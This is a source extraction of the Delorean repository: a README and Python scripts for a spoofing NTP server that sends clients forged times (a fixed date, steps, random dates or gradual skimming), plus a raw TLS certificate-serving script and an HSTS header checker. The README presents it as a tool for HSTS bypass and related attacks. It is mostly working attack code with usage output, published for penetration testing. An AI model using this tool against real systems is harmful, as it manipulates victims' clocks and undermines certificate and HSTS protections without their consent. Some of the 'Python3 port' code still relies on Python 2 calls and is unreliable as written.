Repository: PentesterES/Delorean
Branch: master
Commit: 0291151fc16f
Files: 4
Total size: 25.5 KB
Directory structure:
gitextract_j95pu3j2/
├── README.md
├── crl_checker.py
├── delorean.py
└── hsts_catcher.py
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
Delorean is an NTP server written in python, open source and available from GitHub (contributions are welcomed). I borrowed a few lines of code from kimifly's ntpserver and, of course, all the credits to him have been included.
What makes Delorean different and useful for us is that we can configure its flags in order to make it work in a different way than a regular NTP server. Basically, we can configure it in order to send fake responses, similar to the Metasploit's fakedns module.
```
$ ./delorean.py -h
Usage: delorean.py [options]
Options:
-h, --help show this help message and exit
-i INTERFACE, --interface=INTERFACE Listening interface
-p PORT, --port=PORT Listening port
-n, --nobanner Not show Delorean banner
-s STEP, --force-step=STEP Force the time step: 3m (minutes), 4d (days), 1M (month)
-d DATE, --force-date=DATE Force the date: YYYY-MM-DD hh:mm[:ss]
-x, --random-date Use random date each time
```
We have the typical interface (-i) and port (-p) flags, that help us to bind the service exactly where we want. The -n flag only hides the super-cool Delorean banner :)
```
_._
_.-="_- _
_.-=" _- | ||"""""""---._______ __..
___.===""""-.______-,,,,,,,,,,,,`-''----" """"" """"" __'
__.--"" __ ,' o \ __ [__|
__-""=======.--"" ""--.=================================.--"" ""--.=======:
] [w] : / \ : |========================| : / \ : [w] :
V___________:| |: |========================| :| |: _-"
V__________: \ / :_|=======================/_____: \ / :__-"
-----------' ""____"" `-------------------------------' ""____""
```
We can use Delorean in several modes, but we are going to focus in the most useful ones. There are some other attacks that weren't really interesting after developing them, but they are still in the code. Perhaps I will remove them in the future, sine they require scapy and some dependencies.
Since it's too soon yet to talk about how OS synchronize, we will test how Delorean works using the command line tool "ntpdate":
```
$ ntpdate -q 192.168.1.2
server 192.168.1.2, stratum 2, offset 97372804.086845, delay 0.02699
20 Oct 06:05:45 ntpdate[881]: step time server 192.168.1.2 offset 97372804.086845 sec
```
By default (no flags), Delorean responses a date that matches the same week and month day than the current date, but at least 1000 days in the future. This was useful for the HSTS bypass as we will see in upcoming posts.
```
# ./delorean.py -n
[19:44:42] Sent to 192.168.10.113:123 - Going to the future! 2018-08-31 19:44
[19:45:18] Sent to 192.168.10.113:123 - Going to the future! 2018-08-31 19:45
```
We can set a relative jump from the current date using the step flag (-s). Relative jumps can be defined as 10d (ten days in the future), -2y (two years in the past), etc:
```
# ./delorean.py -s 10d -n
[19:46:09] Sent to 192.168.10.113:123 - Going to the future! 2015-08-10 19:46
[19:47:19] Sent to 192.168.10.113:123 - Going to the future! 2015-08-10 19:47
```
We can also set a specific date, and Delorean would answer always the same date. Please note that this date is static, and it is not incremented on each request:
```
# ./delorean.py -d ‘2020-08-01 21:15’ -n
[19:49:50] Sent to 127.0.0.1:48473 - Going to the future! 2020-08-01 21:15
[19:50:10] Sent to 127.0.0.1:52406 - Going to the future! 2020-08-01 21:15
```
There are a number of attacks that you can run using Delorean. I shown some of them in DEF CON 23: https://www.youtube.com/watch?v=hkw9tFnJk8k
================================================
FILE: crl_checker.py
================================================
#!/usr/bin/env python3
# Jose Selvi - jselvi[a.t]pentester[d0.t]es - http://www.pentester.es
# Greetings for Python3 port to Tristan Rice - https://github.com/d4l3k
# Version 1.0 - 06/Dec/2020
# - Port to Python3.
# - Several style fixes.
import scapy
from scapy.layers.ssl_tls import * # https://github.com/tintinweb/scapy-ssl_tls
from optparse import OptionParser
import re
import socket
import os
import base64, sys
def readPemChainFromFile(
fileObj,
startMarker="-----BEGIN CERTIFICATE-----",
endMarker="-----END CERTIFICATE-----",
):
cert_chain = []
state = 0
while 1:
certLine = fileObj.readline()
if not certLine:
break
certLine = certLine.strip()
if state == 0:
if certLine == startMarker:
certLines = []
state = 1
continue
if state == 1:
if certLine == endMarker:
state = 2
else:
certLines.append(certLine)
if state == 2:
substrate = ""
for certLine in certLines:
if sys.version_info[0] <= 2:
substrate = substrate + base64.decodestring(certLine)
else:
if not substrate:
substrate = substrate.encode()
substrate = substrate + base64.decodebytes(certLine.encode())
cert_chain.append(substrate)
state = 0
return cert_chain
# Usage and options
usage = "usage: %prog [options]"
parser = OptionParser(usage=usage)
parser.add_option(
"-i",
"--interface",
type="string",
dest="interface",
default="0.0.0.0",
help="Listening interface",
)
parser.add_option(
"-p", "--port", type="int", dest="port", default="443", help="Listening port"
)
parser.add_option(
"-c", "--cert", type="string", dest="certfile", help="PEM Certificate File"
)
(options, args) = parser.parse_args()
ifre = re.compile("[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+")
# Check options
if (
not options.interface
or not ifre.match(options.interface)
or options.port < 1
or options.port > 65535
or not options.certfile
or not os.path.isfile(options.certfile)
):
parser.print_help()
exit()
cert_chain = readPemChainFromFile(open(options.certfile))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((options.interface, options.port))
s.listen(0)
# Wait until Keyboard Interrupt
try:
while True:
(client, address) = s.accept()
client_hello = SSL(client.recv(1024))
ch_cipher_suites = client_hello.records[0][2].cipher_suites
cs = min(ch_cipher_suites)
random_session_id = os.urandom(32)
server_hello = (
TLSRecord()
/ TLSHandshake()
/ TLSServerHello(session_id=random_session_id, cipher_suite=cs)
)
client.sendall(str(server_hello))
# print "--------------------------"
# print str(cert_chain[0])
# print "--------------------------"
# print str(cert_chain[1])
# print "--------------------------"
# print str(cert_chain[2])
# print "--------------------------"
ssl_certificates = []
for cert in cert_chain:
ssl_certificates.append(TLSCertificate(data=cert))
certificates = (
TLSRecord()
/ TLSHandshake()
/ TLSCertificateList(certificates=ssl_certificates)
)
client.sendall(str(certificates))
server_hello_done = (
TLSRecord() / TLSHandshake() / TLSServerHelloDone(length=0, data="")
)
client.sendall(str(server_hello_done))
raw_response = client.recv(1024)
SSL(raw_response).show()
try:
client.shutdown(socket.SHUT_RDWR)
except KeyboardInterrupt:
raise KeyboardInterrupt
except:
client.close()
continue
except KeyboardInterrupt:
print("Exited")
s.close()
================================================
FILE: delorean.py
================================================
#!/usr/bin/env python3
# NTP MitM Tool
# Jose Selvi - jselvi[a.t]pentester[d0.t]es - http://www.pentester.es
# Greetings for Python3 port to Tristan Rice - https://github.com/d4l3k
# Version 1.4 - 06/Dec/2020
# - Port to Python3.
# - Several style fixes.
# General Imports
from optparse import OptionParser
import socket
import threading
import datetime
import struct
import time
import math
import re
import random
import sys
import os
def banner():
print(' _._ ')
print(' _.-="_- _ ')
print(' _.-=" _- | ||"""""""---._______ __.. ')
print(' ___.===""""-.______-,,,,,,,,,,,,`-\'\'----" """"" """"" __\' ')
print(' __.--"" __ ,\' o \ __ [__| ')
print(' __-""=======.--"" ""--.=================================.--"" ""--.=======: ')
print(' ] [w] : / \ : |========================| : / \ : [w] : ')
print(' V___________:| |: |========================| :| |: _-" ')
print(' V__________: \ / :_|=======================/_____: \ / :__-" ')
print(' -----------\' ""____"" `-------------------------------\' ""____"" ')
# NTP-Proxy Class
class NTProxy(threading.Thread):
# Stop Flag
stopF = False
# Force Step or date
skim_step = float(0)
skim_threshold = float(0)
forced_step = float(0)
forced_date = float(0)
forced_random = False
# Temporal control
seen = {}
# Constructor
def __init__(self, socket):
threading.Thread.__init__(self)
if socket:
self.step = 0
self.ntp_delta = (
(datetime.date(*time.gmtime(0)[0:3]) - datetime.date(1900, 1, 1)).days
* 24
* 3600
)
self.stopF = False
self.socket = socket
self.socket.settimeout(
5.0
) # Needed: If not socket.recvfrom() waits forever
# Force step or date
def str2sec(self, mystr):
secs_in = {
"s": 1,
"m": 60,
"h": 3600,
"d": 86400,
"w": 604800,
"M": 2629743,
"y": 31556926,
}
if mystr[-1] in secs_in.keys():
num = int(mystr[:-1])
mag = secs_in[mystr[-1]]
else:
num = int(mystr)
mag = 1
return float(mag * num)
def set_skim_threshold(self, threshold):
self.skim_threshold = self.str2sec(threshold)
def set_skim_step(self, skim):
self.skim_step = self.str2sec(skim) - self.skim_threshold
def force_step(self, step):
self.forced_step = self.str2sec(step)
def force_date(self, date):
if len(date) == len("2014-01-01 05:32"):
pat = "%Y-%m-%d %H:%M"
else:
pat = "%Y-%m-%d %H:%M:%S"
self.forced_date = float(datetime.datetime.strptime(date, pat).strftime("%s"))
def force_random(self, random):
self.forced_random = random
# Set the step to the future/past
def select_step(self):
# Get current date
current_time = time.time()
current_week_day = time.gmtime(current_time)[6]
current_month_day = time.gmtime(current_time)[2]
# Look for the same week and month day, minimum a thousand days in the future
if self.forced_step == 0 and not self.forced_random:
# Default Step
week_day = 10000
month_day = 10000
future_time = current_time + (3 * 12 * 4 * 7 * 24 * 3600)
while not (
(week_day == current_week_day) and (month_day == current_month_day)
):
future_time = future_time + (7 * 24 * 3600)
week_day = time.gmtime(future_time)[6]
month_day = time.gmtime(future_time)[2]
elif self.forced_random:
min_time = math.floor(current_time)
max_time = 4294967294 - self.ntp_delta # max 32 bits - 1
future_time = random.randint(min_time, max_time)
else:
# Forced Step
future_time = current_time + self.forced_step
self.step = future_time - current_time
# Select a new time in the future/past
def newtime(self, timestamp):
current_time = time.time()
skim_time = timestamp + self.skim_step - 5
future_time = current_time + self.step
if self.skim_step == 0:
skim_time = 4294967294
if self.forced_date == 0 and (skim_time > future_time):
return future_time
elif self.forced_date != 0 and (skim_time > self.forced_date):
return self.forced_date
else:
return skim_time
# Stop Method
def stop(self):
self.stopF = True
# Run Method
def run(self):
self.select_step()
while not self.stopF:
# When timeout we need to catch the exception
try:
data, source = self.socket.recvfrom(1024)
info = self.extract(data)
timestamp = self.newtime(info["tx_timestamp"] - self.ntp_delta)
fingerprint, data = self.response(info, timestamp)
if self.skim_step != 0:
for t in range(0, 10):
fingerprint, data = self.response(info, timestamp)
socket.sendto(data, source)
# Only print if it's the first packet
epoch_now = time.time()
if (not source[0] in self.seen) or (
(source[0] in self.seen) and (epoch_now - self.seen[source[0]]) > 2
):
if self.forced_random:
self.select_step()
self.seen[source[0]] = epoch_now
# Year-Month-Day Hour:Mins
aux = time.gmtime(timestamp)
future_time = (
str(aux[0]).zfill(4)
+ "-"
+ str(aux[1]).zfill(2)
+ "-"
+ str(aux[2]).zfill(2)
+ " "
+ str(aux[3]).zfill(2)
+ ":"
+ str(aux[4]).zfill(2)
)
aux = time.gmtime(time.time())
current_time = (
str(aux[3]).zfill(2)
+ ":"
+ str(aux[4]).zfill(2)
+ ":"
+ str(aux[5]).zfill(2)
)
# print fingerprint + ' detected!'
if (timestamp - time.time()) < 0:
when = "past"
else:
when = "future"
print(
"[%s] Sent to %s:%d - Going to the %s! %s"
% (
current_time,
source[0],
source[1],
when,
future_time,
)
)
except:
continue
# Extract query information
def extract(self, data):
# Format from https://github.com/limifly/ntpserver/
unpacked = struct.unpack(
"!B B B b 11I", data[0 : struct.calcsize("!B B B b 11I")]
)
# Extract information
info = {}
info["leap"] = unpacked[0] >> 6 & 0x3
info["version"] = unpacked[0] >> 3 & 0x7
info["mode"] = unpacked[0] & 0x7
info["stratum"] = unpacked[1]
info["poll"] = unpacked[2]
info["precision"] = unpacked[3]
info["root_delay"] = float(unpacked[4]) / 2 ** 16
info["root_dispersion"] = float(unpacked[5]) / 2 ** 16
info["ref_id"] = unpacked[6]
info["ref_timestamp"] = unpacked[7] + float(unpacked[8]) / 2 ** 32
info["orig_timestamp"] = unpacked[9] + float(unpacked[10]) / 2 ** 32
info["orig_timestamp_high"] = unpacked[9]
info["orig_timestamp_low"] = unpacked[10]
info["recv_timestamp"] = unpacked[11] + float(unpacked[12]) / 2 ** 32
info["tx_timestamp"] = unpacked[13] + float(unpacked[14]) / 2 ** 32
info["tx_timestamp_high"] = unpacked[13]
info["tx_timestamp_low"] = unpacked[14]
# Return useful info for respose
return info
# Create response packet
def response(self, info, timestamp):
if (
info["leap"] == 0
and info["version"] == 4
and (info["mode"] == 3 or info["mode"] == 4)
):
return self.response_osx(info, timestamp)
if (
(info["leap"] == 3 or info["leap"] == 192)
and info["version"] == 4
and info["mode"] == 3
):
return self.response_linux(info, timestamp)
if info["version"] == 3:
return self.response_win(info, timestamp)
return self.response_default(info, timestamp)
def generate_param(self, info, timestamp):
# Format from https://github.com/limifly/ntpserver/
# Define response params
ntp_timestamp = timestamp + self.ntp_delta
param = {}
param["ID"] = "Unknown"
param["leap"] = 0 # No warnings, no errors
param["version"] = info["version"] # Use the same request version
param["mode"] = 4 # Always answer server mode
param["stratum"] = 2 # Highest NTP priority
param["poll"] = 9 # As less poll time as possible
param["precision"] = -20 # Maximum precision
param["root_delay"] = 0
param["root_dispersion"] = 0
param["ref_id"] = info["ref_id"]
param["ref_timestamp"] = ntp_timestamp - 5
param["orig_timestamp"] = 0
param["orig_timestamp_high"] = info["tx_timestamp_high"]
param["orig_timestamp_low"] = info["tx_timestamp_low"] # -1
param["recv_timestamp"] = ntp_timestamp
param["tx_timestamp"] = ntp_timestamp
param["tx_timestamp_high"] = 0
param["tx_timestamp_low"] = 0
return param
def response_linux(self, info, timestamp):
param = self.generate_param(info, timestamp)
param["ID"] = "Linux"
# param['leap'] = 4
# param['version'] = info['version']
# param['mode'] = 4
# Construct packet
return param["ID"], self.packetize(info, param)
def response_osx(self, info, timestamp):
param = self.generate_param(info, timestamp)
param["ID"] = "Mac OS X"
# param['ref_id'] = 0 # 17.72.133.55
# param['leap'] = 0
# param['version'] = 4
# param['mode'] = 4
# param['poll'] = 9
# Construct packet
return param["ID"], self.packetize(info, param)
def response_win(self, info, timestamp):
param = self.generate_param(info, timestamp)
param["ID"] = "Windows"
# param['version'] = 3
# Construct packet
return param["ID"], self.packetize(info, param)
def response_default(self, info, timestamp):
param = self.generate_param(info, timestamp)
# Construct packet
return param["ID"], self.packetize(info, param)
def packetize(self, info, param):
# Format from https://github.com/limifly/ntpserver/
# print param['ID'] + ' detected!'
# Construct packet
packed = struct.pack(
"!B B B b 11I",
(param["leap"] << 6 | param["version"] << 3 | param["mode"]),
param["stratum"],
param["poll"],
param["precision"],
int(param["root_delay"]) << 16
| int(abs(param["root_delay"] - int(param["root_delay"])) * 2 ** 16),
int(param["root_dispersion"]) << 16
| int(
abs(param["root_dispersion"] - int(param["root_dispersion"])) * 2 ** 16
),
param["ref_id"],
int(param["ref_timestamp"]),
int(abs(param["ref_timestamp"] - int(param["ref_timestamp"])) * 2 ** 32),
param["orig_timestamp_high"],
param["orig_timestamp_low"],
int(param["recv_timestamp"]),
int(abs(param["recv_timestamp"] - int(param["recv_timestamp"])) * 2 ** 32),
int(param["tx_timestamp"]),
int(abs(param["tx_timestamp"] - int(param["tx_timestamp"])) * 2 ** 32),
)
# Return packet
# int(abs(timestamp - int(timestamp)) * 2**32)
return packed
# Usage and options
usage = "usage: %prog [options]"
parser = OptionParser(usage=usage)
parser.add_option(
"-i",
"--interface",
type="string",
dest="interface",
default="0.0.0.0",
help="Listening interface",
)
parser.add_option(
"-p", "--port", type="int", dest="port", default="123", help="Listening port"
)
parser.add_option(
"-n",
"--nobanner",
action="store_false",
dest="banner",
default=True,
help="Not show Delorean banner",
)
parser.add_option(
"-s",
"--force-step",
type="string",
dest="step",
help="Force the time step: 3m (minutes), 4d (days), 1M (month)",
)
parser.add_option(
"-d",
"--force-date",
type="string",
dest="date",
help="Force the date: YYYY-MM-DD hh:mm[:ss]",
)
parser.add_option(
"-k",
"--skim-step",
type="string",
dest="skim",
help="Skimming step: 3m (minutes), 4d (days), 1M (month)",
)
parser.add_option(
"-t",
"--skim-threshold",
type="string",
dest="threshold",
default="30s",
help="Skimming Threshold: 3m (minutes), 4d (days), 1M (month)",
)
parser.add_option(
"-x",
"--random-date",
action="store_true",
dest="random",
default=False,
help="Use random date each time",
)
(options, args) = parser.parse_args()
ifre = re.compile("[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+")
fsre = re.compile("[-]?[0-9]+[smhdwMy]?")
fdre = re.compile(
"[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] [0-9][0-9]:[0-9][0-9](:[0-9][0-9])?"
)
# Check options
if (
not options.interface
or not ifre.match(options.interface)
or options.port < 1
or options.port > 65535
or (options.step and options.date)
or
# ( options.skim and not (options.step or options.date) ) or
(options.random and (options.step or options.date))
or (options.step and not fsre.match(options.step))
or (options.date and not fdre.match(options.date))
or (options.skim and not fsre.match(options.skim))
or (options.threshold and not fsre.match(options.threshold))
):
parser.print_help()
exit()
# Check if root
if options.port <= 1024 and os.geteuid() != 0:
sys.exit("Delorean must be run as root when binding ports under 1024")
# Bind Socket and Start Thread
socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
socket.bind((options.interface, options.port))
NTP_Thread = NTProxy(socket)
if options.random:
NTP_Thread.force_random(True)
else:
NTP_Thread.set_skim_threshold(options.threshold)
if options.skim:
NTP_Thread.set_skim_step(options.skim)
if options.step:
NTP_Thread.force_step(options.step)
if options.date:
NTP_Thread.force_date(options.date)
# Lets go to the future
if options.banner:
banner()
# Wait until Keyboard Interrupt
try:
NTP_Thread.start()
while True:
time.sleep(1)
except KeyboardInterrupt:
print("Kill signal sent...")
NTP_Thread.stop()
NTP_Thread.join()
socket.close()
print("Exited")
================================================
FILE: hsts_catcher.py
================================================
#!/usr/bin/python
# Python Script that looks for HSTS Header of a given URL
# Jose Selvi - jselvi[a.t]pentester[d0.t]es - http://www.pentester.es
# Greetings for Python3 port to Tristan Rice - https://github.com/d4l3k
# Version 1.0 - 06/Dec/2020
# - Port to Python3.
# - Several style fixes.
# Importing
from optparse import OptionParser
import httplib
import re
# Get the full response
def get_response(url, user_agent):
[proto, aux, hostname] = url.split("/")
try:
if proto == "https:":
conn = httplib.HTTPSConnection(hostname, timeout=5)
else:
conn = httplib.HTTPConnection(hostname, timeout=5)
conn.putrequest("GET", "/", skip_host=True)
conn.putheader("Host", hostname)
conn.putheader("User-Agent", user_agent)
conn.endheaders()
resobj = conn.getresponse()
except:
return
return resobj
# Get only the HSTS Header
def get_hsts(url, user_agent):
resobj = get_response(url, user_agent)
if not resobj:
return ""
hsts_header = resobj.getheader("strict-transport-security")
return hsts_header
# Get all headers
def get_headers(url, user_agent):
resobj = get_response(url, user_agent)
if not resobj:
return ""
return resobj.getheaders()
# Usage and options
usage = "usage: %prog [options]"
parser = OptionParser(usage=usage)
parser.add_option("-U", "--url", type="string", dest="url", help="Website URL (https)")
parser.add_option(
"-R", "--raw", action="store_true", dest="raw", help="Show raw headers"
)
parser.add_option(
"-A",
"--user-agent",
type="string",
dest="user_agent",
help="User-Agent string",
default="Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
)
(options, args) = parser.parse_args()
urlre = re.compile("http(s)?://[a-zA-Z0-9.-]+(\:[0-9]+)?$")
if not options.url or not urlre.match(options.url):
parser.print_help()
exit()
# Chose raw headers o HSTS only
if options.raw:
output = get_headers(options.url, options.user_agent)
else:
output = get_hsts(options.url, options.user_agent)
# Print result
print(output)
gitextract_j95pu3j2/ ├── README.md ├── crl_checker.py ├── delorean.py └── hsts_catcher.py
SYMBOL INDEX (25 symbols across 3 files)
FILE: crl_checker.py
function readPemChainFromFile (line 17) | def readPemChainFromFile(
FILE: delorean.py
function banner (line 23) | def banner():
class NTProxy (line 37) | class NTProxy(threading.Thread):
method __init__ (line 49) | def __init__(self, socket):
method str2sec (line 65) | def str2sec(self, mystr):
method set_skim_threshold (line 83) | def set_skim_threshold(self, threshold):
method set_skim_step (line 86) | def set_skim_step(self, skim):
method force_step (line 89) | def force_step(self, step):
method force_date (line 92) | def force_date(self, date):
method force_random (line 99) | def force_random(self, random):
method select_step (line 103) | def select_step(self):
method newtime (line 130) | def newtime(self, timestamp):
method stop (line 144) | def stop(self):
method run (line 148) | def run(self):
method extract (line 209) | def extract(self, data):
method response (line 237) | def response(self, info, timestamp):
method generate_param (line 254) | def generate_param(self, info, timestamp):
method response_linux (line 279) | def response_linux(self, info, timestamp):
method response_osx (line 288) | def response_osx(self, info, timestamp):
method response_win (line 299) | def response_win(self, info, timestamp):
method response_default (line 306) | def response_default(self, info, timestamp):
method packetize (line 311) | def packetize(self, info, param):
FILE: hsts_catcher.py
function get_response (line 15) | def get_response(url, user_agent):
function get_hsts (line 33) | def get_hsts(url, user_agent):
function get_headers (line 43) | def get_headers(url, user_agent):
Condensed preview — 4 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (28K chars).
[
{
"path": "README.md",
"chars": 3812,
"preview": "Delorean is an NTP server written in python, open source and available from GitHub (contributions are welcomed). I borro"
},
{
"path": "crl_checker.py",
"chars": 4051,
"preview": "#!/usr/bin/env python3\n# Jose Selvi - jselvi[a.t]pentester[d0.t]es - http://www.pentester.es\n# Greetings for Python3 por"
},
{
"path": "delorean.py",
"chars": 16092,
"preview": "#!/usr/bin/env python3\n# NTP MitM Tool\n# Jose Selvi - jselvi[a.t]pentester[d0.t]es - http://www.pentester.es\n# Greetings"
},
{
"path": "hsts_catcher.py",
"chars": 2201,
"preview": "#!/usr/bin/python\n# Python Script that looks for HSTS Header of a given URL\n# Jose Selvi - jselvi[a.t]pentester[d0.t]es "
}
]
About this extraction
This page contains the full source code of the PentesterES/Delorean GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 4 files (25.5 KB), approximately 6.8k tokens, and a symbol index with 25 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.